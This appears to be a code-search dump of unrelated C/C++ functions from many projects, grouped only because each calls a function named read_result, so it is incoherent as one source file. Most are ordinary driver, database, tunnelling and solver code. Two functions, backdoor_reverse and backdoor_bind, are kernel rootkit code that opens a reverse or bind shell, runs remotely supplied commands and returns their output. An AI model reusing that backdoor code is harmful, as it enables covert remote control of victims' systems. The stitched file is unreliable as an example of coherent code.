static VMINT32 measurement(VM_THREAD_HANDLE thread_handle, void* user_data) { VMINT measured_result; handle_details* details; hx711_task current_task; write_console("thread enter\n"); details = (handle_details*) user_data; get_task(details, ¤t_task); enter_standby(¤t_task); while (1) { get_task(details, ¤t_task); if (current_task.op == TERMINATE) { break; } if (current_task.op == WAIT) { enter_standby(¤t_task); continue; } if (current_task.op != A128) { wait_result(¤t_task); read_result(¤t_task); clock_setup_pulses(¤t_task); } wait_result(¤t_task); measured_result = read_result(¤t_task); current_task.callback(current_task.callback_env, measured_result); enter_standby(¤t_task); } write_console("thread exit\n"); enter_standby(¤t_task); vm_mutex_lock(&details->mutex); vm_dcl_close(current_task.sda_handle); vm_dcl_close(current_task.scl_handle); current_task.callback(current_task.callback_env, 0); vm_free(details); return 0; }
static int ipslr_status(ipslr_handle_t *p, uint8_t *buf) { int n; CHECK(command(p, 0, 1, 0)); n = get_result(p); if (n == 16 || n == 28) { return read_result(p, buf, n); } else { return PSLR_READ_ERROR; } }
static char *perform_http_request (char *host, int port) { char *data; int sock; sock = connect_server (host, port); send_request (sock); read_result (sock, &data); close_connection (sock); return data; }
static int ipslr_cmd_00_05(ipslr_handle_t *p) { int n; uint8_t buf[0xb8]; CHECK(command(p, 0x00, 0x05, 0x00)); n = get_result(p); if (n != 0xb8) { DPRINT("only got %d bytes\n", n); return PSLR_READ_ERROR; } CHECK(read_result(p, buf, n)); return PSLR_OK; }
static int ipslr_buffer_segment_info(ipslr_handle_t *p, pslr_buffer_segment_info *pInfo) { uint8_t buf[16]; uint32_t n; CHECK(command(p, 0x04, 0x00, 0x00)); n = get_result(p); if (n != 16) return PSLR_READ_ERROR; CHECK(read_result(p, buf, 16)); pInfo->a = get_uint32(&buf[0]); pInfo->type = get_uint32(&buf[4]); pInfo->addr = get_uint32(&buf[8]); pInfo->length = get_uint32(&buf[12]); return PSLR_OK; }
iocpdesc_t *pni_iocpdesc_create(iocp_t *iocp, pn_socket_t s, bool external) { assert (s != INVALID_SOCKET); assert(!pni_iocpdesc_map_get(iocp, s)); bool listening = is_listener_socket(s); iocpdesc_t *iocpd = pni_iocpdesc(s); iocpd->iocp = iocp; if (iocpd) { iocpd->external = external; iocpd->error = pn_error(); if (listening) { iocpd->acceptor = pni_acceptor(iocpd); } else { iocpd->pipeline = pni_write_pipeline(iocpd); iocpd->read_result = read_result(iocpd); } pni_iocpdesc_map_push(iocpd); } return iocpd; }
FileFork* FileServer::new_filefork() { lock->lock("FileServer::open_file"); FileFork *dummy_fork = new FileFork(this); // Create real file fork on the server send_command(FileServer::NEW_FILEFORK, 0, 0); int parent_fd = get_fd(); read_result(); // Transfer fd to dummy file fork dummy_fork->start_dummy(parent_fd, *(int*)(result_data + sizeof(FileFork*))); dummy_fork->real_fork = *(FileFork**)result_data; // printf("FileServer::new_filefork %d parent_fd=%d real_fork=%p\n", // __LINE__, // parent_fd, // dummy_fork->real_fork); lock->unlock(); return dummy_fork; }
/* * is_end_token processes one token and returns 0 for an incomplete token * or -1 if this is the END token, and 1 for successful processing of token. * The number of bytes read from the stream is returned in 'bytes_read'. */ static int pool_is_end_token(TDS_POOL_MEMBER * pmbr, const unsigned char *buf, int maxlen, int *bytes_read) { TDS_SMALLINT sz; int marker; int ret; if (maxlen == 0) return 0; marker = buf[0]; sz = tds_get_token_size(marker); if (sz) { ret = read_fixed_token(pmbr, buf, maxlen, bytes_read); } else if (marker == TDS_ROW_TOKEN) { ret = read_row(pmbr, buf, maxlen, bytes_read); } else if (marker == TDS_COLNAME_TOKEN) { ret = read_col_name(pmbr, buf, maxlen, bytes_read); } else if (marker == TDS_COLFMT_TOKEN) { ret = read_col_info(pmbr, buf, maxlen, bytes_read); } else if (marker == TDS_RESULT_TOKEN) { ret = read_result(pmbr, buf, maxlen, bytes_read); } else { ret = read_variable_token(pmbr, buf, maxlen, bytes_read); } /* fprintf(stderr,"bytes_read = %d\n",*bytes_read); */ if (!ret) { return 0; } if (is_end_token(marker)) { if (is_final_token(buf)) { /* clean up */ return -1; } } return 1; }
static int ipslr_identify(ipslr_handle_t *p) { uint8_t idbuf[8]; int n; unsigned int i; CHECK(command(p, 0, 4, 0)); n = get_result(p); if (n != 8) return PSLR_READ_ERROR; CHECK(read_result(p, idbuf, 8)); p->id1 = get_uint32(&idbuf[0]); p->id2 = get_uint32(&idbuf[4]); p->model = NULL; for (i=0; i<sizeof(camera_models)/sizeof(camera_models[0]); i++) { if (camera_models[i].id1 == p->id1) { p->model = &camera_models[i]; break; } } return PSLR_OK; }
static int ipslr_status_full(ipslr_handle_t *p, pslr_status *status) { int n; uint8_t buf[MAX_STATUS_BUF_SIZE]; CHECK(command(p, 0, 8, 0)); n = get_result(p); if (p->model && is_k10d(p)) { /* K10D status block */ if (n != 392) { DPRINT("only got %d bytes\n", n); return PSLR_READ_ERROR; } CHECK(read_result(p, buf, n)); memset(status, 0, sizeof(*status)); status->bufmask = buf[0x16] << 8 | buf[0x17]; status->current_iso = get_uint32(&buf[0x11c]); status->current_shutter_speed.nom = get_uint32(&buf[0xf4]); status->current_shutter_speed.denom = get_uint32(&buf[0xf8]); status->current_aperture.nom = get_uint32(&buf[0xfc]); status->current_aperture.denom = get_uint32(&buf[0x100]); status->lens_min_aperture.nom = get_uint32(&buf[0x12c]); status->lens_min_aperture.denom = get_uint32(&buf[0x130]); status->lens_max_aperture.nom = get_uint32(&buf[0x134]); status->lens_max_aperture.denom = get_uint32(&buf[0x138]); status->current_zoom.nom = get_uint32(&buf[0x16c]); status->current_zoom.denom = get_uint32(&buf[0x170]); status->set_aperture.nom = get_uint32(&buf[0x34]); status->set_aperture.denom = get_uint32(&buf[0x38]); status->set_shutter_speed.nom = get_uint32(&buf[0x2c]); status->set_shutter_speed.denom = get_uint32(&buf[0x30]); status->set_iso = get_uint32(&buf[0x60]); status->jpeg_resolution = get_uint32(&buf[0x7c]); status->jpeg_contrast = get_uint32(&buf[0x94]); status->jpeg_sharpness = get_uint32(&buf[0x90]); status->jpeg_saturation = get_uint32(&buf[0x8c]); status->jpeg_quality = 1+get_uint32(&buf[0x80]); status->jpeg_image_mode = get_uint32(&buf[0x88]); status->zoom.nom = get_uint32(&buf[0x16c]); status->zoom.denom = get_uint32(&buf[0x170]); status->focus = get_uint32(&buf[0x174]); status->raw_format = get_uint32(&buf[0x84]); status->image_format = get_uint32(&buf[0x78]); status->light_meter_flags = get_uint32(&buf[0x124]); status->ec.nom = get_uint32(&buf[0x3c]); status->ec.denom = get_uint32(&buf[0x40]); status->custom_ev_steps = get_uint32(&buf[0x9c]); status->custom_sensitivity_steps = get_uint32(&buf[0xa0]); status->exposure_mode = get_uint32(&buf[0xe0]); status->user_mode_flag = get_uint32(&buf[0x1c]); status->af_point_select = get_uint32(&buf[0xbc]); status->selected_af_point = get_uint32(&buf[0xc0]); status->focused_af_point = get_uint32(&buf[0x150]); return PSLR_OK; } if (p->model && is_k20d(p)) { /* K20D status block */ if (n != 412) { DPRINT("only got %d bytes\n", n); return PSLR_READ_ERROR; } CHECK(read_result(p, buf, n)); #ifdef DEBUG ipslr_status_diff(buf); #endif memset(status, 0, sizeof(*status)); status->bufmask = buf[0x16] << 8 | buf[0x17]; status->current_iso = get_uint32(&buf[0x130]); /*d*/ status->current_shutter_speed.nom = get_uint32(&buf[0x108]); /*d*/ status->current_shutter_speed.denom = get_uint32(&buf[0x10C]); /*d*/ status->current_aperture.nom = get_uint32(&buf[0x110]); /*d*/ status->current_aperture.denom = get_uint32(&buf[0x114]); /*d*/ status->lens_min_aperture.nom = get_uint32(&buf[0x140]); /*d*/ status->lens_min_aperture.denom = get_uint32(&buf[0x144]); /*d*/ status->lens_max_aperture.nom = get_uint32(&buf[0x148]); /*d*/ status->lens_max_aperture.denom = get_uint32(&buf[0x14B]); /*d*/ status->current_zoom.nom = get_uint32(&buf[0x180]); /*d*/ status->current_zoom.denom = get_uint32(&buf[0x184]); /*d*/ status->set_aperture.nom = get_uint32(&buf[0x34]); /*d*/ status->set_aperture.denom = get_uint32(&buf[0x38]); /*d*/ status->set_shutter_speed.nom = get_uint32(&buf[0x2c]); /*d*/ status->set_shutter_speed.denom = get_uint32(&buf[0x30]); /*d*/ status->set_iso = get_uint32(&buf[0x60]); /*d*/ status->jpeg_resolution = get_uint32(&buf[0x7c]); /*d*/ status->jpeg_contrast = get_uint32(&buf[0x94]); /* commands do now work for it?*/ status->jpeg_sharpness = get_uint32(&buf[0x90]); /* commands do now work for it?*/ status->jpeg_saturation = get_uint32(&buf[0x8c]); /* commands do now work for it?*/ status->jpeg_quality = get_uint32(&buf[0x80]); /*d*/ status->jpeg_image_mode = get_uint32(&buf[0x88]); /*d*/ status->zoom.nom = get_uint32(&buf[0x180]); /*d*/ status->zoom.denom = get_uint32(&buf[0x184]); /*d*/ status->focus = get_uint32(&buf[0x188]); /*d current focus ring position?*/ status->raw_format = get_uint32(&buf[0x84]); /*d*/ status->image_format = get_uint32(&buf[0x78]); /*d*/ status->light_meter_flags = get_uint32(&buf[0x138]); /*d*/ status->ec.nom = get_uint32(&buf[0x3c]); /*d*/ status->ec.denom = get_uint32(&buf[0x40]); /*d*/ status->custom_ev_steps = get_uint32(&buf[0x9c]); status->custom_sensitivity_steps = get_uint32(&buf[0xa0]); status->exposure_mode = get_uint32(&buf[0xe0]); /*d*/ status->user_mode_flag = get_uint32(&buf[0x1c]); /*d*/ status->af_point_select = get_uint32(&buf[0xbc]); /* not sure*/ status->selected_af_point = get_uint32(&buf[0xc0]); /*d*/ status->focused_af_point = get_uint32(&buf[0x160]); /*d, unsure about it, a lot is changing when the camera focuses*/ /* 0x158 current ev? / 0xB8 0 - MF, 1 - AF.S, 2 - AF.C / 0xB4, 0xC4 - metering mode, 0 - matrix, 1 - center weighted, 2 - spot / 0x160 and 0x164 change when AF / 0xC0 changes when selecting focus point manually or from GUI / 0xBC focus point selection 0 - auto, 1 - manual, 2 - center */ return PSLR_OK; } if (p->model && is_k30(p)) { // might work with k01 too if (n != 452) { DPRINT("only got %d bytes\n", n); return PSLR_READ_ERROR; } CHECK(read_result(p, buf, n)); #ifdef DEBUG ipslr_status_diff(buf); #endif memset(status, 0, sizeof(*status)); status->bufmask = get_uint32(&buf[0x1E]); status->current_iso = get_uint32(&buf[0x134]); status->current_shutter_speed.nom = get_uint32(&buf[0x10C]); status->current_shutter_speed.denom = get_uint32(&buf[0x110]); status->current_aperture.nom = get_uint32(&buf[0x114]); status->current_aperture.denom = get_uint32(&buf[0x118]); status->lens_min_aperture.nom = get_uint32(&buf[0x144]); status->lens_min_aperture.denom = get_uint32(&buf[0x148]); status->lens_max_aperture.nom = get_uint32(&buf[0x14C]); status->lens_max_aperture.denom = get_uint32(&buf[0x150]); status->current_zoom.nom = get_uint32(&buf[0x1A0]); status->current_zoom.denom = get_uint32(&buf[0x1A4]); status->set_aperture.nom = get_uint32(&buf[0x3C]); status->set_aperture.denom = get_uint32(&buf[0x40]); status->set_shutter_speed.nom = get_uint32(&buf[0x34]); status->set_shutter_speed.denom = get_uint32(&buf[0x38]); status->set_iso = get_uint32(&buf[0x14]); status->jpeg_resolution = get_uint32(&buf[0x84]); status->jpeg_contrast = get_uint32(&buf[0x9C]); status->jpeg_sharpness = get_uint32(&buf[0x98]); status->jpeg_saturation = get_uint32(&buf[0x94]); status->jpeg_quality = 3-get_uint32(&buf[0x88]); // Maximum quality is 3 status->jpeg_image_mode = get_uint32(&buf[0x80]); status->zoom.nom = get_uint32(&buf[0x1A0]); status->zoom.denom = get_uint32(&buf[0x1A4]); status->focus = get_uint32(&buf[0x1A8]); status->raw_format = get_uint32(&buf[0x8C]); status->image_format = get_uint32(&buf[0x80]); status->light_meter_flags = get_uint32(&buf[0x13C]); status->ec.nom = get_uint32(&buf[0x44]); status->ec.denom = get_uint32(&buf[0x48]); status->custom_ev_steps = get_uint32(&buf[0x15C]); status->custom_sensitivity_steps = get_uint32(&buf[0xa8]); status->exposure_mode = get_uint32(&buf[0xb4]); status->user_mode_flag = get_uint32(&buf[0x24]); status->af_point_select = get_uint32(&buf[0xc4]); status->selected_af_point = get_uint32(&buf[0xc0]); status->focused_af_point = get_uint32(&buf[0x168]); return PSLR_OK; } if (p->model && is_k100ds(p)) { /* K100DS (Super) status block */ if (n != 264) { DPRINT("only got %d bytes\n", n); return PSLR_READ_ERROR; } CHECK(read_result(p, buf, n)); memset(status, 0, sizeof(*status)); status->bufmask = get_uint32(&buf[0x10]); status->image_format = PSLR_IMAGE_FORMAT_RAW; status->raw_format = PSLR_RAW_FORMAT_PEF; return PSLR_OK; } if (p->model && is_istds(p)) { /* *ist DS status block */ if (n != 0x108) { DPRINT("only got %d bytes\n", n); return PSLR_READ_ERROR; } CHECK(read_result(p, buf, n)); #ifdef DEBUG ipslr_status_diff(buf); #endif memset(status, 0, sizeof(*status)); status->bufmask = get_uint32(&buf[0x10]); status->set_shutter_speed.nom = get_uint32(&buf[0x80]); status->set_shutter_speed.denom = get_uint32(&buf[0x84]); status->set_aperture.nom = get_uint32(&buf[0x88]); status->set_aperture.denom = get_uint32(&buf[0x8c]); status->lens_min_aperture.nom = get_uint32(&buf[0xb8]); status->lens_min_aperture.denom = get_uint32(&buf[0xbc]); status->lens_max_aperture.nom = get_uint32(&buf[0xc0]); status->lens_max_aperture.denom = get_uint32(&buf[0xc4]); return PSLR_OK; } /* Unknown camera */ return PSLR_OK; }
static void backdoor_reverse(void) { /* default: client bind with : nc -lvp 2424 */ struct socket *sock; struct sockaddr_in sin; int error; char *buff = NULL; current->flags |= PF_NOFREEZE; error = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP, &sock); if (error < 0) { dbg("backdoor: Error during creation of socket; terminating\n"); return; } sin.sin_family = AF_INET; sin.sin_addr.s_addr = in_aton(IP_DEST); sin.sin_port = htons(PORT_DEST); error = sock->ops->connect(sock, (struct sockaddr*) &sin, sizeof(sin), !O_NONBLOCK); if (error < 0) { dbg("backdoor: Error during connection of socket; terminating\n"); sock_release(sock); return; } buff = kmalloc(512, GFP_KERNEL); if (buff == NULL) { dbg("backdoor: Error allocating memory\n"); sock_release(sock); return; } int tt = 0; int file_created = 0; while(true) { if (signal_pending(current)) break; tt = rk_recvbuff(sock, buff, 512); if (tt > 0) { int exec_result; exec_result = exec_cmd(buff); if(exec_result == 0) { char *result = NULL; result = kmalloc(1024, GFP_KERNEL); if ( ! result ) { dbg("backdoor: Error allocating memory\n"); return; } int bytes_read; bytes_read = read_result(result); file_created = 1; int res = 0; res = rk_sendbuff(sock, result, bytes_read); kfree(result); memset(buff, '\0', sizeof(buff)); //cleanup the buffer if (res == 0) { remove_file(); dbg("backdoor: Error during connection of socket; terminating\n"); break; } tt = 0; bytes_read = 0; } else { dbg("backdoor: Error executing cmd\n"); } } else { if (file_created) remove_file(); dbg("backdoor: Error during connection of socket; terminating\n"); break; } } sock_release(sock); kfree(buff); }
static void backdoor_bind(void) { /* default: client connect with : nc 127.0.0.1 5000 */ struct socket *sock; struct sockaddr_in sin; int error; current->flags |= PF_NOFREEZE; error = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP, &sock); if (error < 0) { dbg("backdoor: Error during creation of socket; terminating\n"); return; } sin.sin_family = AF_INET; sin.sin_addr.s_addr = in_aton(IP_SOURCE); sin.sin_port = htons(PORT_SRC); error = sock->ops->bind(sock, (struct sockaddr *) &sin, sizeof(sin)); if (error < 0) { dbg("backdoor: Error binding socket\n"); sock_release(sock); return; } error = sock->ops->listen(sock, 5); if (error < 0) { dbg("backdoor: Error listening on socket \n"); sock_release(sock); return; } char *buff = NULL; buff = kmalloc(512, GFP_KERNEL); int tt = 0; struct socket *newsock; newsock=(struct socket*)kmalloc(sizeof(struct socket),GFP_KERNEL); error = sock_create(PF_INET,SOCK_STREAM,IPPROTO_TCP,&newsock); if(error<0) { dbg("backdoor: Error create newsock error\n"); kfree(buff); sock_release(sock); return; } //wait incoming connection int file_created = 0; while (1) { error = newsock->ops->accept(sock,newsock,O_NONBLOCK); if(error >= 0) { while(tt = rk_recvbuff(newsock, buff, 512)) { int exec_result; exec_result = exec_cmd(buff); if(exec_result == 0) { char *result = NULL; result = kmalloc(1024, GFP_KERNEL); if ( ! result ) { dbg("backdoor: Error allocating memory\n"); kfree(buff); sock_release(newsock); sock_release(sock); return; } int bytes_read; bytes_read = read_result(result); file_created = 1; int res = 0; res = rk_sendbuff(newsock, result, bytes_read); kfree(result); memset(buff, '\0', sizeof(buff)); //cleanup the buffer if (res == 0) { remove_file(); dbg("backdoor: Error during connection of socket; terminating\n"); break; } tt = 0; bytes_read = 0; } else { dbg("backdoor: Error executing cmd\n"); } if(signal_pending(current)) { break; } } if (file_created) { remove_file(); file_created = 0; } } if(signal_pending(current)) { break; } } kfree(buff); sock_release(newsock); sock_release(sock); }
bool modelchecker_smvt::check( abstract_modelt &abstract_model, abstract_counterexamplet &counterexample) { std::string temp_base="cegar_tmp"; std::string temp_smv=temp_base+"_abstract.smv"; std::string temp_smv_out1=temp_base+"_smv_out1"; std::string temp_smv_out2=temp_base+"_smv_out2"; std::string temp_smv_out_ce=temp_base+"_abstract.out"; remove(temp_smv_out1.c_str()); remove(temp_smv_out2.c_str()); remove(temp_smv_out_ce.c_str()); get_variable_names(abstract_model); get_nondet_symbols(abstract_model); inlined.build(abstract_model); threadst threads; build_threads(threads); { std::ofstream out(temp_smv.c_str()); build_smv_file(abstract_model, threads, out); } if(!inlined.has_assertion()) { status("Property holds trivially"); return true; } { std::string command; switch(engine) { case NUSMV: command="NuSMV -f -dynamic"; status(std::string("Running NuSMV: ")+command); break; case CMU_SMV: status(std::string("Running CMU SMV: ")+command); command="smv"; break; case CADENCE_SMV: command="smv -force -sift"; status(std::string("Running Cadence SMV: ")+command); break; case SATMC: command="satmc"; status(std::string("Running SATMC")+command); break; default: assert(false); } command+=" "+temp_smv+" >"+temp_smv_out1+ " 2>"+temp_smv_out2; { print(9, "The full model checker command to be executed is:\n"+command+"\n"); } int return_code = system(command.c_str()); { std::ostringstream str; str << "Got return code " << return_code << std::endl; print(9, str.str()); } } bool result; { std::ifstream out1(temp_smv_out1.c_str()), out2(temp_smv_out2.c_str()), out_ce(temp_smv_out_ce.c_str()); result=read_result( out1, out2, out_ce, abstract_model, threads, counterexample); } return result; }
/* read password data from an opened stream */ static nss_status_t passwd_getpwent(nss_backend_t *be, void *args) { NSS_GETENT(LDAP_BE(be)->fp, NSLCD_ACTION_PASSWD_ALL, read_result(LDAP_BE(be)->fp, args)); }
static nss_status_t passwd_getpwuid(nss_backend_t UNUSED(*be), void *args) { NSS_GETONE(NSLCD_ACTION_PASSWD_BYUID, WRITE_INT32(fp, NSS_ARGS(args)->key.uid), read_result(fp, args)); }
/* * The main function of the program. */ int main (int argc, char **argv) { /* Do some checks to verify the proper alignemnt of data structure */ assert (sizeof (struct attack_partial_result) == 16*256+1); assert (sizeof (struct attack_trace) == TRACE_PLAINTEXT_SIZE_BYTES + TRACE_CIPHERTEXT_SIZE_BYTES + 2 * TRACE_NUM_POINTS); assert (sizeof (struct result_file_header) == 2*TRACE_KEY_SIZE_BYTES+4*4); assert (sizeof (struct result_file_trace_header) == TRACE_PLAINTEXT_SIZE_BYTES + TRACE_CIPHERTEXT_SIZE_BYTES + sizeof(double)); parse_command_line (argc, argv); result_file = fopen (output_filename, "w"); if (result_file == NULL) { perror ("fopen (result file)"); exit (EXIT_FAILURE); } create_communication_pipes (); if (trace_dir == NULL) { db_connect (); db_findkey (); } else { trace_dir_init (); trace_dir_findkey (); } print_result_file_header (); install_sig_handler (); if (fifo_mode == 0) launch_attack (); send_num_iterations (); wait_start_attack_phase (); launch_trace_thread (); for (current_trace_num = 0; current_trace_num < num_iterations; current_trace_num++) { printf ("II - Trace #%hu: ", current_trace_num); get_trace_from_trace_thread (); send_trace (); read_result (); } close_everything (); wait_trace_thread_termination (); if (fifo_mode == 0) { printf ("II - Waiting the end of the attack program...\n"); wait (NULL); /* Wait until the child (attack program) is finished */ } exit (EXIT_SUCCESS); }
int main (int argc, char *argv[]) { char* control_filename = NULL; char* tunnel_name = NULL; struct command_t* command = NULL; int i; /* argv iterator */ if (argv[1] && !strncmp (argv[1], "--help", 6)) { help(); return 0; } /* parse global options */ for (i = 1; i < argc; i++) { if (!strncmp (argv[i], "-c", 2)) { control_filename = argv[++i]; } else if (!strncmp (argv[i], "-d", 2)) { log_level = DEBUG_LEVEL; } else { break; } } if (i >= argc) { print_error (ERROR_LEVEL, "error: command not specified\n"); usage(); return -1; } if (!control_filename) { control_filename = strdup (CONTROL_PIPE); } print_error (DEBUG_LEVEL, "set control filename to %s\n", control_filename); /* parse command name */ for (command = commands; command->name; command++) { if (!strcasecmp (argv[i], command->name)) { i++; break; } } if (command->name) { print_error (DEBUG_LEVEL, "get command %s\n", command->name); } else { print_error (ERROR_LEVEL, "error: no such command %s\n", argv[i]); return -1; } /* get tunnel name */ if (i >= argc) { print_error (ERROR_LEVEL, "error: tunnel name not specified\n"); usage(); return -1; } tunnel_name = argv[i++]; /* check tunnel name for whitespaces */ if (strstr (tunnel_name, " ")) { print_error (ERROR_LEVEL, "error: tunnel name shouldn't include spaces\n"); usage(); return -1; } char buf[CONTROL_PIPE_MESSAGE_SIZE] = ""; FILE* mesf = fmemopen (buf, CONTROL_PIPE_MESSAGE_SIZE, "w"); /* create result pipe for reading */ char result_filename[128]; snprintf (result_filename, 128, RESULT_FILENAME_FORMAT, getpid()); unlink (result_filename); mkfifo (result_filename, 0600); int result_fd = open (result_filename, O_RDONLY | O_NONBLOCK, 0600); if (result_fd < 0) { print_error (ERROR_LEVEL, "error: unable to open %s for reading.\n", result_filename); return -2; } /* turn off O_NONBLOCK */ if (fcntl (result_fd, F_SETFL, O_RDONLY) == -1) { print_error (ERROR_LEVEL, "Can not turn off nonblocking mode for result_fd: %s\n", strerror(errno)); return -2; } /* pass result filename to command */ fprintf (mesf, "@%s ", result_filename); if (ferror (mesf)) { print_error (ERROR_LEVEL, "internal error: message buffer to short"); return -2; } /* format command with remaining arguments */ int command_res = command->handler ( mesf, tunnel_name, argc - i, argv + i ); if (command_res < 0) { print_error (ERROR_LEVEL, "error: command parse error\n"); return -1; } fflush (mesf); if (ferror (mesf)) { print_error (ERROR_LEVEL, "error: message too long (max = %i ch.)\n", CONTROL_PIPE_MESSAGE_SIZE - 1); return -1; } print_error (DEBUG_LEVEL, "command to be passed:\n%s\n", buf); /* try to open control file for writing */ int control_fd = open (control_filename, O_WRONLY, 0600); if (control_fd < 0) { int errorno = errno; switch (errorno) { case EACCES: print_error (ERROR_LEVEL, "Unable to open %s for writing." " Is xl2tpd running and you have appropriate permissions?\n", control_filename); break; default: print_error (ERROR_LEVEL, "Unable to open %s for writing: %s\n", control_filename, strerror (errorno)); } return -1; } /* pass command to control pipe */ write (control_fd, buf, ftell (mesf)); close (control_fd); /* read result from pipe */ char rbuf[CONTROL_PIPE_MESSAGE_SIZE] = ""; int command_result_code = read_result ( result_fd, rbuf, CONTROL_PIPE_MESSAGE_SIZE ); printf ("%s", rbuf); /* cleaning up */ close (result_fd); unlink (result_filename); return command_result_code; }
void command_loop(void) { int i, nfds; BUFFER buf0, buf1; fd_set readfds; struct timeval to; for (i = 0; ; i++) { BUFFER *cur, *prev; if (i == 0) { cur = prev = &buf0; } else if (i % 2 == 0) { cur = &buf0; prev = &buf1; } else { cur = &buf1; prev = &buf0; } read_result(cur); redraw: display(cur, prev, reverse_mode); input: to = opt_interval; FD_ZERO(&readfds); FD_SET(fileno(stdin), &readfds); nfds = select(1, &readfds, NULL, NULL, (pause_status)? NULL : &to); if (nfds < 0) switch (errno) { case EINTR: /* * ncurses has changed the window size with * SIGWINCH. call doupdate() to use the * updated window size. */ doupdate(); goto redraw; default: perror("select"); } else if (nfds > 0) { int ch = getch(); kbd_result_t result = kbd_command(ch); switch (result) { case RSLT_UPDATE: /* update buffer */ break; case RSLT_REDRAW: /* scroll with current buffer */ goto redraw; case RSLT_NOTOUCH: /* silently loop again */ goto input; case RSLT_ERROR: /* error */ fprintf(stderr, "\007"); goto input; } } } }
decision_proceduret::resultt smt2_dect::dec_solve() { // we write the problem into a file smt2_temp_filet smt2_temp_file; // copy from string buffer into file smt2_temp_file.temp_out << stringstream.str(); // this finishes up and closes the SMT2 file write_footer(smt2_temp_file.temp_out); smt2_temp_file.temp_out.close(); smt2_temp_file.temp_result_filename= get_temporary_file("smt2_dec_result_", ""); std::string command; switch(solver) { case solvert::BOOLECTOR: command = "boolector --smt2 " + smt2_temp_file.temp_out_filename + " -m > " + smt2_temp_file.temp_result_filename; break; case solvert::CVC3: command = "cvc3 +model -lang smtlib -output-lang smtlib " + smt2_temp_file.temp_out_filename + " > " + smt2_temp_file.temp_result_filename; break; case solvert::CVC4: // The flags --bitblast=eager --bv-div-zero-const help but only // work for pure bit-vector formulas. command = "cvc4 -L smt2 " + smt2_temp_file.temp_out_filename + " > " + smt2_temp_file.temp_result_filename; break; case solvert::MATHSAT: // The options below were recommended by Alberto Griggio // on 10 July 2013 command = "mathsat -input=smt2" " -preprocessor.toplevel_propagation=true" " -preprocessor.simplification=7" " -dpll.branching_random_frequency=0.01" " -dpll.branching_random_invalidate_phase_cache=true" " -dpll.restart_strategy=3" " -dpll.glucose_var_activity=true" " -dpll.glucose_learnt_minimization=true" " -theory.bv.eager=true" " -theory.bv.bit_blast_mode=1" " -theory.bv.delay_propagated_eqs=true" " -theory.fp.mode=1" " -theory.fp.bit_blast_mode=2" " -theory.arr.mode=1" " < "+smt2_temp_file.temp_out_filename + " > "+smt2_temp_file.temp_result_filename; break; case solvert::OPENSMT: command = "opensmt " + smt2_temp_file.temp_out_filename + " > " + smt2_temp_file.temp_result_filename; break; case solvert::YICES: // command = "yices -smt -e " // Calling convention for older versions command = "yices-smt2 " // Calling for 2.2.1 + smt2_temp_file.temp_out_filename + " > " + smt2_temp_file.temp_result_filename; break; case solvert::Z3: command = "z3 -smt2 " + smt2_temp_file.temp_out_filename + " > " + smt2_temp_file.temp_result_filename; break; default: assert(false); } #if defined(__linux__) || defined(__APPLE__) command+=" 2>&1"; #endif int res=system(command.c_str()); if(res<0) { error() << "error running SMT2 solver" << eom; return decision_proceduret::resultt::D_ERROR; } std::ifstream in(smt2_temp_file.temp_result_filename.c_str()); return read_result(in); }
static nss_status_t passwd_getpwnam(nss_backend_t UNUSED(*be), void *args) { NSS_GETONE(NSLCD_ACTION_PASSWD_BYNAME, WRITE_STRING(fp, NSS_ARGS(args)->key.name), read_result(fp, args)); }